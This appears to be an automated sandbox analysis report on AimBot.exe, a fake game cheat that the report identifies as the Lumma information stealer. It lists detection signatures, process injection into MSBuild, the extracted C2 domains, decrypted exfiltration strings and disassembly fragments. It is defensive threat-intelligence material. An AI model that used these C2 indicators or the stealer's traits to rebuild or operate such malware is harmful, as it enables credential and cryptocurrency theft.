Edit tour

Windows Analysis Report
AimBot.exe

Overview

General Information

Sample name:	AimBot.exe
Analysis ID:	1527617
MD5:	ef804b1837c6250dd1117f4d3a46e6c8
SHA1:	bae5846cf2aa3cc28e6dd745445a54e978d6c881
SHA256:	f5a6f17555a61261e2932d6b19c2d595a4f3580b699040e8de675c3f9f310fa1
Tags:	exeuser-bloated7731
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Sigma detected: Silenttrinity Stager Msbuild Activity

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

AimBot.exe (PID: 2344 cmdline: "C:\Users\user\Desktop\AimBot.exe" MD5: EF804B1837C6250DD1117F4D3A46E6C8)

MSBuild.exe (PID: 6740 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 1548 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 2768 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1636 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["bleedminejw.buzz", "exilepolsiy.sbs", "bemuzzeki.sbs", "laddyirekyi.sbs", "exemplarou.sbs", "isoplethui.sbs", "frizzettei.sbs", "invinjurhey.sbs", "wickedneatr.sbs"], "Build id": "LPnhqo--qnvwjtftlgmt"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author
3.2.MSBuild.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
3.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
1.2.AimBot.exe.6b0000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 172.67.178.50, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 1548, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T06:44:12.639576+0200	2054653	1	A Network Trojan was detected	192.168.2.8	49705	172.67.178.50	443	TCP
2024-10-07T06:44:13.259859+0200	2054653	1	A Network Trojan was detected	192.168.2.8	49706	188.114.96.3	443	TCP
2024-10-07T06:44:14.254089+0200	2054653	1	A Network Trojan was detected	192.168.2.8	49707	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T06:44:12.639576+0200	2049836	1	A Network Trojan was detected	192.168.2.8	49705	172.67.178.50	443	TCP
2024-10-07T06:44:13.259859+0200	2049836	1	A Network Trojan was detected	192.168.2.8	49706	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T06:44:14.254089+0200	2049812	1	A Network Trojan was detected	192.168.2.8	49707	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 3.2.MSBuild.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["bleedminejw.buzz", "exilepolsiy.sbs", "bemuzzeki.sbs", "laddyirekyi.sbs", "exemplarou.sbs", "isoplethui.sbs", "frizzettei.sbs", "invinjurhey.sbs", "wickedneatr.sbs"], "Build id": "LPnhqo--qnvwjtftlgmt"}

Multi AV Scanner detection for domain / URL

Source: exemplarou.sbs

Virustotal: Detection: 6%

Perma Link

Multi AV Scanner detection for submitted file

Source: AimBot.exe	Virustotal: Detection: 59%			Perma Link
Source: AimBot.exe	ReversingLabs: Detection: 37%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: AimBot.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: wickedneatr.sbs
Source: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: invinjurhey.sbs
Source: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: laddyirekyi.sbs
Source: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: exilepolsiy.sbs
Source: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bemuzzeki.sbs
Source: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: exemplarou.sbs
Source: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: isoplethui.sbs
Source: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: frizzettei.sbs
Source: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bleedminejw.buzz
Source: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: LPnhqo--qnvwjtftlgmt

Source: AimBot.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.178.50:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.8:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.8:49876 version: TLS 1.2

Source: AimBot.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\AimBot.exe

Code function: 1_2_006C980F FindFirstFileExW,

1_2_006C980F

Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then dec ebx	1_2_0071C070
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	1_2_0070A060
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	1_2_0070A060
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+34h]	1_2_006E8070
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov word ptr [esi], ax	1_2_00708166
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp byte ptr [esi], 00000000h	1_2_006F01D0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp byte ptr [ecx], 00000000h	1_2_006F01D0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then jmp edx	1_2_00706180
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	1_2_0070C239
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	1_2_006F82E0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov word ptr [edx], 0000h	1_2_006FC290
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00708310
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov word ptr [edi], ax	1_2_0070C417
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, ebp	1_2_006E64E0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, ebp	1_2_006E64E0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp byte ptr [esi], 00000000h	1_2_006F26C3
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then jmp eax	1_2_006F2772
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then jmp eax	1_2_006F2749
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 7789B0CBh	1_2_00724730
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F8FD61B8h	1_2_006FE7C4
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	1_2_0071E790
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esp+000006B0h]	1_2_006FC87E
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	1_2_006FA802
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	1_2_007188D0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov byte ptr [edi], al	1_2_0071096A
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esp+000006B0h]	1_2_006FC9F7
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then push ebx	1_2_006FA993
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp word ptr [ebp+ecx+02h], 0000h	1_2_006FEA2E
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	1_2_00726AC0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_00706B47
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	1_2_006E0BA0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	1_2_00726C50
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov byte ptr [edi], al	1_2_00710C4B
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	1_2_00720C30
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov byte ptr [edi], al	1_2_00710C36
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000094h]	1_2_006EACBC
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00722D79
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	1_2_0070AD4D
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_0070AD4D
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00722D79
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp word ptr [ecx+edx+02h], 0000h	1_2_00726DD0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	1_2_00726DD0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov word ptr [eax], dx	1_2_006FEE91
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00703080
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	1_2_00705100
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov word ptr [eax], dx	1_2_006FF1F0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	1_2_00725200
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00725200
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000088h]	1_2_007112F8
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov byte ptr [edi], al	1_2_007112F8
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_006E92F0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000088h]	1_2_0071128F
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov byte ptr [edi], al	1_2_0071128F
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_00705360
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	1_2_00721350
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000088h]	1_2_00711340
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov byte ptr [edi], al	1_2_00711340
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000088h]	1_2_00711334
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov byte ptr [edi], al	1_2_00711334
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov dword ptr [esp+0Ch], ecx	1_2_006DD313
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000874h]	1_2_00707420
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then jmp eax	1_2_007014C7
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esi+000001B8h]	1_2_0070F490
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov word ptr [eax], dx	1_2_006FF619
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov ecx, ebx	1_2_006F1765
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	1_2_006F177D
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00723752
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00723752
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 27BAF212h	1_2_00723752
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then jmp dword ptr [00453758h]	1_2_0070B7ED
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then jmp edi	1_2_006EB7C7
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	1_2_006FB8FF
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_007239A9
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], C274D4CAh	1_2_007239A9
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00723AB9
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	1_2_006E9B20
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esi+1Ch]	1_2_00711BFF
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+eax]	1_2_006EBBD0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	1_2_006F1BBC
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	1_2_0070DCD0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	1_2_006E1CD0
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	1_2_00721D80
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov byte ptr [edi], al	1_2_0070FEEE
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esp+60h]	1_2_0070BE90
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov eax, dword ptr [esp+60h]	1_2_0070BE90
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then mov byte ptr [edi], al	1_2_0070FF50
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 4x nop then cmp byte ptr [edi], 00000000h	1_2_006EFFE6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_0040D410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_00447872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_00447872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 27BAF212h	3_2_00447872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_00447AC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], C274D4CAh	3_2_00447AC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp al, 25h	3_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov esi, edi	3_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [esp+0Ch], ecx	3_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp byte ptr [edi], 00000000h	3_2_00414106
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	3_2_0042E180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	3_2_0042E180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+34h]	3_2_0040C190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then dec ebx	3_2_00440190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_004271A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	3_2_00429220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp byte ptr [esi], 00000000h	3_2_004142F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp byte ptr [ecx], 00000000h	3_2_004142F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000874h]	3_2_0042B340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [esi], ax	3_2_0042B340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], dx	3_2_00423310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	3_2_00449320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_00449320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [esi], ax	3_2_0042C390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [edx], 0000h	3_2_004203B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	3_2_00445470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	3_2_0041C400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00429480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	3_2_004254A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000874h]	3_2_0042B4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [esi], ax	3_2_0042B4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	3_2_00430502
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [edi], ax	3_2_00430502
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	3_2_0042E5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0042E5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+000001B8h]	3_2_004335B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_004335B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_004335B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000088h]	3_2_004335B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_004335B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, ebp	3_2_0040A600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, ebp	3_2_0040A600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	3_2_0041E6F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then push ebx	3_2_0041E6F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	3_2_0042E778
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0042E778
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], dx	3_2_00423713
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], dx	3_2_0042372A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp byte ptr [esi], 00000000h	3_2_004167E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 7789B0CBh	3_2_00448850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	3_2_00416869
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ecx, ebx	3_2_0041582B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp edi	3_2_0040F8E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	3_2_00416892
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	3_2_0041589D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	3_2_004428B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp dword ptr [00453758h]	3_2_0042F914
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0042A9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_0043C9F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+000006B0h]	3_2_0042099E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F8FD61B8h	3_2_0042099E
